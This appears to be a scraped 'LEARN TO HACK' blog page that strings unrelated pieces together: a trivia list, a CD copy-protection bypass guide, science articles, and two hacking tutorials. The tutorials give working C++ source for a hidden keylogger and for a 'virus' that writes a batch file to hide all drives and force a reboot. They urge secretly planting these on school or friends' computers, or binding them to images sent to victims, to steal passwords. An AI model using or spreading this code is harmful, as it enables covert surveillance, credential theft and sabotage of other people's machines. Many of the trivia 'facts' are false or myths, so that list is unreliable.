STRANGE FACTS

A Crocodiles tongue is attached to the roof of its mouth.
A group of larks is called an exaltation.
A elephant is the heavest of all land mammals at around 8,000 pounds.
A kangaroo can't jump unless its tail is touching the ground.
A male emperor moth can smell a female emperor moth up to 7 miles away.
A man had the hiccups for 69 years.
A millipede has 4 legs on each segment of it's body.
A mole can dig over 250 feet of tunnel in a single night.
A monkey was once tride and convicted for smoking a cigarette in South Bend,Indiana.
A noisy resturant is 100,000 times as lound as a watch ticking. Rock Consert 1,000,000,000 times as loud. Loud headphones 10,000,000,000. Shotgun blast 1,000,000,000,000
A peanut is neither a pea nor a nut.
A person at rest generates as much heat as a 100watt lightbulb
A group of owls is called a parliament.
A Penny whistle has six finger holes.
A pregnant goldfish is called a twit.
A quarter has 119 grooves on its edge, a dime has one less groove.
A quarter of Russia is covered by forest.
A raisin dropped in a glass of fresh champange will bounce up and down continually from the bottom of the glass to the top.
A rat can last longer with out water than a camel.
A rhinoceros' horn is made of compacted hair.
A rodents teeth never stop growing. They are worn down by the animal's constant gnawing on bark, leaves, and other vegetables.
A Saudi Arabian woman can get a divorce if her husband doesn't give her coffee
A shark can detect one part of blood in 100 million parts of water.
A group of ravens is called a murder.
A shark can grow a new set of teeth in a week
A silicon chip a quarter inch square has the capacity of the orignal 1949 ENIAC computer, which occupied a city block.
A sizable oak tree, during the typical growing season, gives off 28,000 gallons of moisture.
A snail can have about 25,000 teeth
A group of toads is called a knot.
About 3,500 gallons if water is needed to produce one pound of beef.
About 300 million cells die in your body every minute.
About 3000 years ago, most Egyptians died by the time they were thirty.
About 70% of all living organisms in the world are bacteria.
About 85% of the plant life on the Earth is in the ocean.
About a third of all Americans flush the toilet while they're still sitting on it.
A group of rhinos is called a crash.
A species of earthworm in Australia grows up to 10 feet in length.
A starfish can turn its self inside out.
A ten gallon hat holds three quarters of a gallon.
A toothpick is the object most often chocked on by Americans.
A Walla Walla scene is one where extras pretend to be talking in the background when they say walla walla it looks like they are actually talking.
A whales heart beats only nine times a minute.
A woodchuck breathers only ten times during hibernation.
A zebra is white with black stripes.
Anteaters prefers termites to ants.
Ants stretch before they wake up. They also appear to yawn in a very human manner before taking up the tasks of the day.
Astronauts are not allowed to eat beans because passing wind in a spacesuit damages them.
Albert Brooks's real name is Albert Einstein.
Albert Einstein was offered the presidency of Israel in 1952.
Alexander the Great was an epileptic.
Alfred Hitchcock didn't have a belly button. It was eliminated when he was sewn up after surgery.
All 17 children of Queen Anne dies before she did.
All totalled, the sunlight that strikes Earth at any given moment weighs as much as a large ocean liner.
A group of Unicorns is called a blessing.
According to Genesis 7:2, God told Noah to take 14 of each kind of 'clean' animal in to the ark.
Actor Tommy Lee Jones and vice president Al Gore were freshman roommates at Harvard.
After eating, a housefly regurgitates is food and then eats it again.
Al Capone's business card said he was a used furniture dealer.
Babe Ruth wore a cabbage leaf under his cap to keep him cool. He changed it every 2 innings.
Baby robins eat 14 feet of earthworms every day.
Canada has more lakes that the rest of the world combined.
Canada is an Indian word meaning Big Village.
Catgut comes from sheep not cats.
Cats have over one hundred vocal sounds, while dogs only have about 10.
A group of whales is called a pod.
Abraham Lincoln was the only US president ever granted a patent.
According to Genesis 1:2022 the chicken came before the egg.
Children grow more in the springtime.
Chopsuey is not a native Chinese dish, it was crafted in California by Chinese immigrants.
Chrysler built B29's that bombed Japan. Mitsubishi built the Zeros that tried to shoot them down. Both companies now build cars in a joint plant called Diamond Star.
Due to gravitational effects, you weigh slightly less when the moon is directly over head.
Duelling is legal in Paraguay as long as both parties are registered blood donors.
During a life time, one person generates more than 1000 pounds of red blood cells.
At age 16 Confucius was a corn inspector.
Armored knights raised their visors to themselves when they rode past their king. This custom has become the modern military salute.
Assuming you could walk to the sun it would take about 2000 years.
If the Earth was smooth, the ocean would cover the entire surface to a depth of 12 000 feet.
If you are chased by a crocodile, run zigzag, a crocodile is not good at making sharp turns.
Rubber bands last longer when refrigerated.
Peanuts are one of the ingredients of dynamite.
There are 293 ways to make change for a dollar.
The average person's left hand does 56% of the typing.
A shark is the only fish that can blink with both eyes.
There are more chickens than people in the world.
Two-thirds of the world's eggplant is grown in New Jersey.
The longest one-syllable word in the English language is "screeched."
On a Canadian two dollar bill, the flag flying over the Parliament building is an American flag.
All of the clocks in the movie "Pulp Fiction" are stuck on 4:20.
No word in the English language rhymes with month, orange, silver, or purple.
"Dreamt" is the only English word that ends in the letters "mt".
All 50 states are listed across the top of the Lincoln Memorial on the back of the $5 bill.
Almonds are a member of the peach family.
Winston Churchill was born in a ladies' room during a dance.
Maine is the only state whose name is just one syllable.
There are only four words in the English language which end in "dous": tremendous, horrendous, stupendous, and hazardous.
Los Angeles' full name is "El Pueblo de Nuestra Senora la Reina de los Angeles de Porciuncula"
A cat has 32 muscles in each ear.
An ostrich's eye is bigger than its brain.
Tigers have striped skin, not just striped fur.
In most advertisements, the time displayed on a watch is 10:10.
The characters Bert and Ernie on Sesame Street were named after Bert the cop and Ernie the taxi driver in Frank Capra's "It's a Wonderful Life."
A dragonfly has a life span of 24 hours.
A goldfish has a memory span of three seconds.
A dime has 118 ridges around the edge.
It's impossible to sneeze with your eyes open.
The giant squid has the largest eyes in the world.
In England, the Speaker of the House is not allowed to speak.
The microwave was invented after a researcher walked by a radar tube and a chocolate bar melted in his pocket.
Mr. Rogers is an ordained minister.
The average person falls asleep in seven minutes.
There are 336 dimples on a regulation golf ball.
"Stewardesses" is the longest word that is typed with only the left hand.
In Greene, new york, you cannot walk backwards and eat peanuts on teh sidewalk during a concert.
In Hardford, Connecut, you may not, under any circumstances, cross the street walking on your hands.
In ancient Egypt, killing a cat was a crime punishable by death.
In ancient Greece, where the mouse was sacred to Apollo, mice were sometimes devoured by temple priests.
In Bangladesh, kids as young as 15 cam be jailed for cheating on their finals.
In Calama, a town in the Atacama Desert of Chile, it has never rained.
In Casablanka, humphrey Bogart never said Play it again, Sam.
In eighteenth century England, women's wigs were sometimes 4 feet high. These remarkable headdresses were dusted with flour and decorated with stuffed birds, replicas of gardens, plates of fruit, or even model ships.
In eighteenth century English gambling dens, there was an empolyee whose only job was to swallow the dice if there was a police raid.
In England, in the 1800's pants was considered a dirty word.
In 1976 a Los Angeles secretary named Jannene Swift officially married a 50 pound rock. The ceremony was witnessed by more than 20 people.
In 1976 Rodrigo's Guitar Concierto de Aranjuez' was No 1 in the UK for only three hours because of a computer error.
In 1980, a Las Vegas hospital suspended workers for betting on when patients would die.
In 1990 there were about 15,000 vacuum cleaner related accidents in the US
In the 19th century, the British Navy attempted to dispel the superstition that Friday was an unlucky day to embark on a ship. The Keel of a new ship was laid on a Friday, she was named HMS Friday, commanded by a Captain Friday, and finally went to sea on a Friday. Neither the ship nor her crew were ever heard of again.
In the 40's, the Bich pen was changed to Bic for fear that Americans would pronounce it 'Bitch.'
In the Balanta tribe of Africa, a bride remained married until her wedding gown was worn out. If she wanted a divorce after 2 weeks, all she had to do was rip up her dress.
In the country of Turkey, in the 16th and 17th centuries, anyone caught drinking coffee was put to death.
IN the flim 'Star Trek: First Contact, when Picard shows Lilly she is orbiting Earth, Australia and Papa New Guinea are clearly visible .. But new Zealand is missing.
In the great fire of London in 1666 half of London was burnt down but only 6 people were injured.
In the heart of the Antarctic winter, temperatures drop to as low as 127 degrees Fahrenheit. In the Marriage ceremony of the ancient Inca Indians of Peru, the Couple was considered officially wed when they took off their sandals and handed them to each other.
In the middle Ages, the highest court in France ordered the execution of a cow for injuring a human.
In the past 100 years only 12 people have been attacked by mountain lions in the state of California. Five died and two of those were because of rabies in 1909
In the United States there is one birth every 8 seconds and one death every 14 seconds.
In the White House, there are 13,092 Knives, forks, and spoons.
In Tokyo, they sell toupees for dogs.
In Toy Story, the carpet designs in Sid's hallway is the same as the carpet designs in The Shining.
In Vermont, USA, it is illegal for women to wear false teeth without the written permission of their husbands.
Ireland is the only place where windmills turn clockwise.
Irving Berlin, who was born on 11 May 1888 and who composed three thousand songs in his lifetime, couldn't read music.
Isaac Asimov is the only author to have a book in every Dewey decimal category.
It costs $6,400 to raise a medium size dog to age eleven.
It costs more to buy a new car today in the United States than it cost Christopher Columbus to equipt and undertake three voyages to and from the New World.
It has been calculated that in the last 3,500 years, there have only been230 years of peace throughout the civilized world.
It is believed that Shakespeare was 46 around the time that the King James Version of the Bible was written. In Psalms 46, the 46th word from the first word is shake and the 46th word from the last word is spear.
It is estimated that millions of trees in the world are accidentally planted by squirrels who bury nuts and then forget where they hid them.
It is illegal to be a prostitute in Siena, Italy, if your name is Mary.
It is illegal to hunt camels in the state of Arizona.
It is illegal to own a dog in Reykjavik.
It is illegal to swim in central park.
It is possible to lead a cow up stairs but not downstairs.
It take 8.5 minutes for light to get from the sun to the earth.
It takes a yard of sugarcane to make one sugar cube.
It take a half a gallon of water to cook macaroni, and about a gallon to clean the pot.
it takes more than 500 peanuts to make one 12 ounce jar of peanut butter.
It take the insect eating Venus Flytrap plant only half a second to shut its trap on prey.
It took engineers 22 years to design the zipper.
It was illegal to sell ET dolls in France because there is a law against selling dolls with out human faces.
It would take more than 150 years to drive a car to the sun.
It is against the law to burp, or sneeze in a church in Omaha, Nebraska
It's against the law to have a pet dog in Iceland.
It's against the law to slam your car door in Switzerland.
It's impossible to sneeze with your eyes open.
Ivory bar soap floating was a mistake. They had been over mixing the soap formula causing excess air bubbles that made it float. Customer wrote and told how much they loved that it floated, and it has floated ever since.
J.S.Bach had 20 children, 7 with his first wife and 13 with his second.
Jacques Cousteau invented scuba gear while in the French resistance during World War II
James Buchanan was the only unmarried president of the US
James Doohan, who plays Lt. Commander Montgomery Scott on Star Trek, is missing the entire middle finger of his right hand.
Jaw muscles can provide about 200 pounds of force to being the back teeth together for chewing.
Jean Claude Van Damme was the alien in the original Predator in almost all the jumping and climbing scenes.
Jet lag was once called boat lag, beck before jets existed.
Jimmy Carter is a speed reader (2000 wpm).
Jimmy Carter was the first US president to have been born in a hospital.
John Cage composed 'Imaginary Landscaper No.4', which was scored for twelve radios tuned at random.
John has a long moustache was the coded signal used by the French Resistance in WWII
John Larroquette of Night Court And the John Larroquette Show was the narrator of The Texas Chainsaw Massacre.
John Wilkes Booth shot Lincoln in a theatre and was found in a warehouse. Lee Harvey Oswald shot Kennedy from a warehouse and was found in a theatre.
John Wilkes Booth's brother once saved the life of Abraham Lincoln's son.
Judy Jetson is a Libra.
June Foray, the voice of Talking Tina from the classic Twilight Zone episode Living Doll, was also the voice of Rocky the talking squirrel from Rocky & Bullwinkle.
Just twenty seconds' worth of fuel remained when Apollo 11's lunar module landed on the moon.
Kathleen Turner was the voice of Jessica Rabbit, and Amy Irving was her singing voice.
Kemo Sabe, the name Tonto called The Lone Ranger means Soggy Shrub in Navajo Indian.
Ketchup was sold in the 1830's as medicine.
Killer whales have such a good sense of touch that if you dropped a pill into a bucket and feed it to the orca it would eat the fish and spit out the pill.
King Kong in the only movie to have its sequel (Son of Kong) relaced the same year (1933)
Kleenex tissues were originally used as filters in gas masks.
Knitted socks discovered in Ancient Egyptian tombs have been dated back as far as the 3rd century AD.
Kotex was first manufactured as bandages, during WWI
Lady Astor once told Winston Churchill 'if you were my husband, I would poison your coffee'. His reply 'if you were my wife, I would drink it'
Larry Lewis ran the 100 yard dash in 17.9 seconds in 1969, there by setting a new world's record for runners in the 100 years or older class. He was 101.
Lawsuits riled be California inmates cost the taxpayers more than 25 million in 1994.
Lee Harvey Oswals's cadaver tag sold at an auction for $6,600 in 1992
Lemon sharks grow a new set of teeth every two weeks! They grow more than 24,000 new teeth every year!
Leonardo Da Vinci could write with one had and draw with the other at the same time.
Leonardo Da Vinci invented scissors, played the viola, and spent twelve years painting the Mona Lisa's lips.
Less than 1% of the Caribbean Islands are inhabited.
Less than 7% of the population donates blood.
Less than 2% of the water on Earth is fresh.
Li is the family name for over 87 million People in China.
Lightning strikes the earth about 6,000 times per minute on this planet.
Lincoln Logs were invented by Frank Lloyd Wright's son.
Liquid paper was invented by Mike Nesmith's (of the Monkees) mother, Bette Nesmith Graham, in 1951.
Lobsters have blue blood.
Lorne Greene had one of his nipples bitten off by an alligator while he was host of Lorne Green's Wild Kingdom.
Los Angeles's full name is El Pueblo de Nuestra Senora la Reina de los Angeles de Porciuncula and can be abbreviated to 3.63% of its size, LA
Many hamsters only blink one eye at a time.

LEARN TO HACK: Kung Fu Panda 2 Trailer 2 (2011) HD

LEARN TO HACK: Kung Fu Panda 2 Trailer 2 (2011) HD

Kung Fu Panda 2 Trailer 2 (2011) HD

How to copy the files from the protected cd

Step 1: Download IsoBuster

The first step is to download and install IsoBuster, a program used to salvage data from damaged CDs and DVDs. IsoBuster is a commercial program, but you can run it in freeware mode, where it has limited functionality, which is fine for our purposes. I used IsoBuster 1.6 for this guide.

Step 2: Create a Folder for the Audio Tracks

The idea is to use IsoBuster to extract the hidden audio tracks from the protected CD and burn them to a normal CD, so the first thing to do is create a folder somewhere to store the audio tracks. I suggest your Windows desktop.

Step 3: Open the Copy-Protected CD with IsoBuster

First, start up IsoBuster and hold down your shift key while inserting your copy-protected CD.
I recommend that you hold down the shift key because it blocks the Windows ‘autorun’ feature, i.e., prevents the CD from launching programs automatically. The reason this is necessary is that some copy-protected CDs (for example Contraband by Velvet Revolver) automatically install suspicious Windows drivers, which people have reported cause problems when you later want to play normal CDs. If you don't want to hold down the shift key every time you insert a copy-protected CD, there is also a way to disable autorun altogether.
After inserting the CD, you should now see something like the following:

As you can see, the CD has two sessions, unlike a normal audio CD, which only has one. The actual audio tracks are stored in session 1. Session 2 contains files, which are used when you insert the CD into a Windows box or a Macintosh. For our purposes we are only interested in the audio tracks, so we'll ignore session 2 completely.
To get at the audio tracks with IsoBuster, click on session 1 on the left in the IsoBuster window. You should now see the audio tracks displayed on the right:

Step 4: Extract the Audio Tracks

Use your mouse to mark all the audio tracks in the right part of the window, then right click and choose ‘Extract Objects’ from the menu:

IsoBuster will ask you for a destination directory; choose the one you created previously:

Now wait for the files to copy...

When the copy has finished, you can shut down IsoBuster.

Step 5: Burn the Audio Tracks onto a Blank CD

Now open your favourite CD burning software and use it to create an Audio CD. Drag the tracks from the folder where IsoBuster placed them into your Audio CD project, make sure they appear in the right order, and then burn. When you are finished, the resulting CD will contain all the tracks from the original copy-protected CD, but in a non-protected format. It should play on all players and can be MP3-encoded for use on your portable MP3 player.
Enjoy!

Troubleshooting

As per January 2005, people have reported that the approach described here generally seems to work well, but that they've been somewhat more successful with newer hardware than older hardware. Therefore, if you have problems copying a given CD, you may want to try a PC with a relatively new CDROM drive.
Also, if you're having problems, it sometimes helps to eject the CD and reinsert it again, so you may want to try this a couple of times also. One person reported that he had to do this six times with his setup before he could extract the audio tracks, but that it did work in the end.

The Life on Mars meteorite

On August 7, 1996, an historic press conference was held at NASA Headquarters in Washington DC. News that scientists had found evidence of life in a Mars meterorite had leaked out, and NASA had to make an announcement. A few minutes before, President Clinton made these remarks at the White House before heading out on a trip to California
: 

"This is the product of years of exploration and months of intensive study by some of the world's most distinguished scientists. Like all discoveries, this one will and should continue to be reviewed, examined and scrutinized. It must be confirmed by other scientists... I am determined that the American space program will put its full intellectual power and technological prowess behind the search for further evidence of life on Mars."

At the press conference, several scientists from NASA and Stanford University announced their findings -- they confirmed that they had found evidence of ancient, fossilized, microscopic life from a Martian meteorite, known as ALH84001. The meteorite was catapulted away from Mars fifteen million years ago when a huge comet or asteroid impacted the surface. The meteorite travelled through space for millions of years and then encountered the Earth. It entered Earth's atmosphere about thirteen thousand years ago and landed at Antarctica. The meteorite lay there until 1984, when a team from the NASA Johnson Space Center found it while exploring the Allan Hills ice field, and brought it back to Houston. It was initially classified as a lunar meteorite, but in 1993 was correctly identified as from Mars. It is one of only twelve "SNC" meteorites, which match the unique chemical signature of Mars.
The scientists talked their reasoning for the discovery -- they had four independent lines of evidence which, when taken together as a whole, ancient life on Mars is the logical conclusion.

Do these orange carbonate globs contain the remains of millions of ancient Martian lifeforms? (Courtesy Science Magazine)

Carbonate globules
The carbonate patterns form a unique signature of life, and the density and compostion of the carbonate patterns is consistent with how terrestrial bacteria operate. Carbonate by itself, however, is abundant in non-living materials.Polycyclic aromatic hydrocarbons (PAHs)
Organic compounds usually created by bacteria were present in the meteorite. There has been much controversy about whether or not the PAHs are contaminants from the Antarctic environment, or are present from Mars.
Magnetite globules
These globules are created by bacteria on Earth as well as some chemical processes. However, the distinctive tear-shape in the Martian evidence is only created by bacteria. Some scientists are still not conviced.
Microscopic fossil-like structures
The most dramatic evidence of all, pictures were shown at the press conference of worm-like structures present in the meteorite. While they are much smaller than terrestrial bacteria, they look very similar, but could also just be mineral structures. More pictures have been created since then. The initial skepticism about them has partially been silenced by recent discoveries of similar terrestrial fossils of similar (nanobacterial) scale.

Are these worm-like structures fossilised Martian bacteria? (Courtesy NASA/JSC)

All of these features occur within a few hundred-thousandths of an inch together. The most logical conclusion is that it's ancient bacteria (life!). Immediately, other scientists disputed the findings, and a grand debate continues to this day. Neither side has convinced the other and there is abundant evidence both for and against Mars life in the meteorite.Implications of Mars Life
While the life they talked about was only microscopic, it has several implications for us macroscopic creatures. If life on Mars is ever proven to to exist (or have existed at some point in time), it would mean that the creation of life is not something that happens because of freak chance or divine influence, but is in fact a probable occurance given the right conditions. Even further, if all that life requires is an aqueous solution like liquid water to grow and thrive (which is the current theory), then the universe is literally teeming with life. The suspected liquid water oceans on some of Jupiter's moons (Europa and Callisto) could be filled with life, and life could still be present underneath the Martian surface, where liquid water and thermal energy are still present.
The Viking Experiments: More Evidence for Life?
Apparent evidence for life on Mars has been found before, and it's worth a second look now. The Viking landers, which were sent to Mars in the 1970s, carried several experiments designed to detect organic materials and organisms on the Martian surface. However, the experiments were designed with limited knowledge of Mars because at that point, no spacecraft had ever sucessfully landed on the Red Planet. When the Viking landers arrived on Mars, the results were ambigious. While one experiment detected no organic compounds in the soil, another -- the Labeled Release experiment (LR) -- found positive results. The LR was designed to drop a nutrient solution into a soil sample from Mars, and then measure the changes in the gaseous sample container to determine if the changes were organically induced (if bacteria were multiplying because of the nutrients they'd been given). When the experiment was conducted on both Viking landers, it gave positive results almost immediately.
Most scientists on the Viking mission came to the conclusion that the positive results were attributed to the discovery of oxides in the soil, and that a chemical reaction occured when the nutrient solution was mixed with the oxides. However, the LR's designer and principal investigator, Dr. Gilbert Levin, was convinced that his experiment found life. He remains convinced to this day and has recently published a paper with additional findings. However, his conclusions have been rejected by mainstream scientists (which is not surprising considering their implications!)
Levin also says that the experiment which did not find organic materials in the soil were not sensitive enough to detect it in small amounts. This has been confirmed by NASA as possible, since ALH84001 clearly contains organic materials (which may not necessarily have been created by living organisms). The experiment in question was tested in Antarctica and found negative results, which is definately wrong because there are organic materials there!
Solving the Search for Life Question
The debate continues. Future missions to Mars will address the question of Life on Mars. In 2005, a Mars Sample Return mission will attempt to bring back likely candidate samples of minerals in which these kind of fossils would occur. If successful, and similar evidence is found, the critics will be silenced. However, it's a long-shot that a suitable sample can be found by a remote-controled rover. The best thing would be to have a trained field geologist with a rock hammer. A human explorer would offer on-site experience, better mobility (presumably he'd have his own rover to drive around in), and a much better chance of finding evidence for life. So, in the end, the best way to settle the debate is to send people to Mars. In the opinion of the Mars Society and many experts, this question alone is enough to justify a Humans to Mars program.

Supercomputer to perform one quadrillion mathematical operations per second in order to crack plasma physics.

The contract for the supply of a high performance supercomputer centre that will perform complex plasma physics calculations has been signed between the Commissariat à l’Energie Atomique et aux Energies Alternatives (CEA) and Bull. The supercomputer is an important milestone of Europe’s contribution to the Broader Approach (BA), an Agreement signed between Europe and Japan to complement the ITER project through various R&D activities which are developed in the field of nuclear fusion. The European participation to the BA is coordinated by Fusion for Energy (F4E), the EU organisation managing Europe’s contribution to ITER. This specific activity is provided by France as a part of its voluntary contribution to the BA.

The supercomputer will be located in Rokkasho, Japan, and will be available to a scientific community of more than 1,000 European and Japanese fusion researchers for the next five years starting from January 2012. With a computational power above 1 Petaflop, the supercomputer will be ranked among the most powerful systems in the world and at least 10 times more powerful than any existing system dedicated to simulations in the field of fusion in Europe and Japan. The supercomputer, with a memory exceeding 280 TB and high speed storage system exceeding 5 PB, will be complemented by a medium term storage system and a pre/post-processing and visualization system.

The operation of the supercomputer will begin with a few high-visibility code runs, otherwise known as “light-house projects” because of the light they are expected to shed with their findings, to test drive the capacities of the supercomputer and achieve maximum performance. During the rest of its exploitation period, European and Japanese researchers will be invited to submit proposals which will be selected according to their importance for the development of ITER and fusion research. The volume of findings stemming from this activity will feed into the plasma codes in preparation for ITER and into the design of the future DEMO reactor.

working principle of OLED

OLED Working principle
Posted in OLED - 1 December 2009 - No comment
A typical OLED is composed of an emissive layer, a conductive layer, a substrate, and anode and cathode terminals. The layers are made of organic molecules that conduct electricity. The layers have conductivity levels ranging from insulators to conductors, so OLEDs are considered organic semiconductors.

The first, most basic OLEDs consisted of a single organic layer, for example the first light-emitting polymer device synthesised by Burroughs et al. involved a single layer of poly(p-phenylene vinylene). Multilayer OLEDs can have more than two layers to improve device efficiency. As well as conductive properties, layers may be chosen to aid charge injection at electrodes by providing a more gradual electronic profile, or block a charge from reaching the opposite electrode and being wasted.


Schematic of a 2-layer OLED: 1. Cathode (−), 2. Emissive Layer, 3. Emission of radiation, 4. Conductive Layer, 5. Anode (+)

A voltage is applied across the OLED such that the anode is positive with respect to the cathode. This causes a current of electrons to flow through the device from cathode to anode. Thus, the cathode gives electrons to the emissive layer and the anode withdraws electrons from the conductive layer; in other words, the anode gives electron holes to the conductive layer.

Soon, the emissive layer becomes negatively charged, while the conductive layer becomes rich in positively charged holes. Electrostatic forces bring the electrons and the holes towards each other and they recombine. This happens closer to the emissive layer, because in organic semiconductors holes are more mobile than electrons. The recombination causes a drop in the energy levels of electrons, accompanied by an emission of radiation whose frequency is in the visible region. That is why this layer is called emissive.

The device does not work when the anode is put at a negative potential with respect to the cathode. In this condition, holes move to the anode and electrons to the cathode, so they are moving away from each other and do not recombine.

Indium tin oxide is commonly used as the anode material. It is transparent to visible light and has a high work function which promotes injection of holes into the polymer layer. Metals such as aluminium and calcium are often used for the cathode as they have low work functions which promote injection of electrons into the polymer layer.

Just like passive-matrix LCD versus active-matrix LCD, OLEDs can be categorized into passive-matrix and active-matrix displays. Active-matrix OLEDs (AMOLED) require a thin-film transistor backplane to switch the individual pixel on or off, and can make higher resolution and larger size displays possible.

Learn To create Keylogger using C++|Basic Hacking Tutorials

Hi friends, the most interesting part of the hacking is spying. Today i am going to introduce to the C++ Spyware code. It is going to be very fun. You can install this spyware in your college/school or in your friend system, and get their username and passwords. This is very simple hacking trick when compared to phishing web page.



Disadvantage of Phishing Web page:
you have to upload phishing web page to web hosting. But only few website won't detect the phishing webpage.
website url is different. Easy to detect that we are hacking.

Advantage of Spyware-keylogger:
Very simple and easy method.
Victim can't detect that we are hacking.

How to create Keylogger using Visual C++?
Requirements:
Dev C++. Download it from here: http://www.bloodshed.net/
Knowledge about Visual C++(need, if you are going to develop the code).

Install dev C++ in your system and open the dev C++ compiler.
Go to File->New->Source File.
you can see a blank works space will be there in window.
now copy the below keylogger code into the blank work space.

#include
using namespace std;
#include
#include
int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++) { if (GetAsyncKeyState(i) == -32767) Save (i,"LOG.txt"); } } system ("PAUSE"); return 0; } /* *********************************** */ int Save (int key_stroke, char *file) { if ( (key_stroke == 1) || (key_stroke == 2) ) return 0; FILE *OUTPUT_FILE; OUTPUT_FILE = fopen(file, "a+"); cout << key_stroke << endl; if (key_stroke == 8) fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); else if (key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n"); else if (key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " "); else if (key_stroke == VK_TAB) fprintf(OUTPUT_FILE, "%s", "[TAB]"); else if (key_stroke == VK_SHIFT) fprintf(OUTPUT_FILE, "%s", "[SHIFT]"); else if (key_stroke == VK_CONTROL) fprintf(OUTPUT_FILE, "%s", "[CONTROL]"); else if (key_stroke == VK_ESCAPE) fprintf(OUTPUT_FILE, "%s", "[ESCAPE]"); else if (key_stroke == VK_END) fprintf(OUTPUT_FILE, "%s", "[END]"); else if (key_stroke == VK_HOME) fprintf(OUTPUT_FILE, "%s", "[HOME]"); else if (key_stroke == VK_LEFT) fprintf(OUTPUT_FILE, "%s", "[LEFT]"); else if (key_stroke == VK_UP) fprintf(OUTPUT_FILE, "%s", "[UP]"); else if (key_stroke == VK_RIGHT) fprintf(OUTPUT_FILE, "%s", "[RIGHT]"); else if (key_stroke == VK_DOWN) fprintf(OUTPUT_FILE, "%s", "[DOWN]"); else if (key_stroke == 190 || key_stroke == 110) fprintf(OUTPUT_FILE, "%s", "."); else fprintf(OUTPUT_FILE, "%s", &key_stroke); fclose (OUTPUT_FILE); return 0; } /* *********************************** */ void Stealth() { HWND Stealth; AllocConsole(); Stealth = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Stealth,0); } Compile the Code(Ctrl+F9) Now execute the program by selecting Execute->Run(ctrl+F10)

now your keylogger will run in your system. whatever you type using keyboard. It will be stored in Log.txt file.
you can see the log.txt file where you save the file.





bind the exe file with image or any files and send it to your friend.
(0r)
if you have physical access to your college/school system,then copy the exe file in that system and run it.

For now, i just give simple keylogger. Soon i will post most efficient keylogger's program code.

C++ ,Batch Virus code to disable All Hard disk

C++ Virus Code :

#include < windows.h >
#include < fstream.h >
#include < iostream.h >
#include < string.h >
#include < conio.h >
int main()
{
ofstream write ( "C:\\WINDOWS\\system32\\HackingStar.bat" ); /*opening or creating new file with .bat extension*/

write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n"; write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n"; write<<"shutdown -r -c \"Sorry Your System is hacked by us!\" -f"<<"\n"; write.close(); //close file ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\HackingStar.bat ",NULL,NULL,SW_SHOWNORMAL); return 0; }


Copy the above code and paste in notepad
Save the file with .cpp extension
Compile and create .exe file in cpp
Note:
Don't run this c++ program ,it will attack your system itself.
Copy the created .exe file and send it to your victim. You can also attach it with any other
exe files.

How Transistors Manipulate Data

THE transistor is the basic building block from which all microchips are built. The transistor can only
create binary information: a 1 if current passes through, or a 0 if current doesn't pass through. From
these 1 s and Os, called bits, a computer can create any number as long as it has enough transistors
grouped together to hold all the 1 s and Os.
Binary notation starts off simply enough:
Decimal Number Binary Number Decimal Number Binary Number
0 0 6 110
1 1 7 111
2 10 8 1000
3 11 9 1001
4 100 10 1010
5 101
Personal computers, such as the original IBM PC and AT systems based on the Intel 8088 and 80286 microprocessors,
are 16-bit PCs. That means they can work directly with binary numbers of up to 16 places, or bits. That
translates to the decimal number 65,535. If an operation requires numbers larger than that, the PC must first break
those numbers into smaller components, perform the operation on each component, and then recombine the results
into a single answer. More powerful PCs, such as those based on the Intel 80386, 80486, and Pentium, are 32-bit
computers, which means they can manipulate binary numbers up to 32 bits wide-the equivalent in decimal notation
of 4,294,967,295. The capability to work with 32 bits at a time helps make these PCs much faster and capable of
directly using more memory.
Transistors are not used simply to record and manipulate numbers. The bits can just as easily stand for true (1) or
not true (0), which allows computers to deal with Boolean logic. ("Select this AND this but NOT this.") Combinations
of transistors in various configurations are called logic gates, which are combined into arrays called half adders,
which in turn are combined into full adders. More than 260 transistors are needed to create a full adder that can
handle mathematical operations for 16-bit numbers.
In addition, transistors make it possible for a small amount of electrical current to control a second, much stronger
current-just as the small amount of energy needed to throw a wall switch can control the more powerful energy surging
through the wires to give life to a spotlight.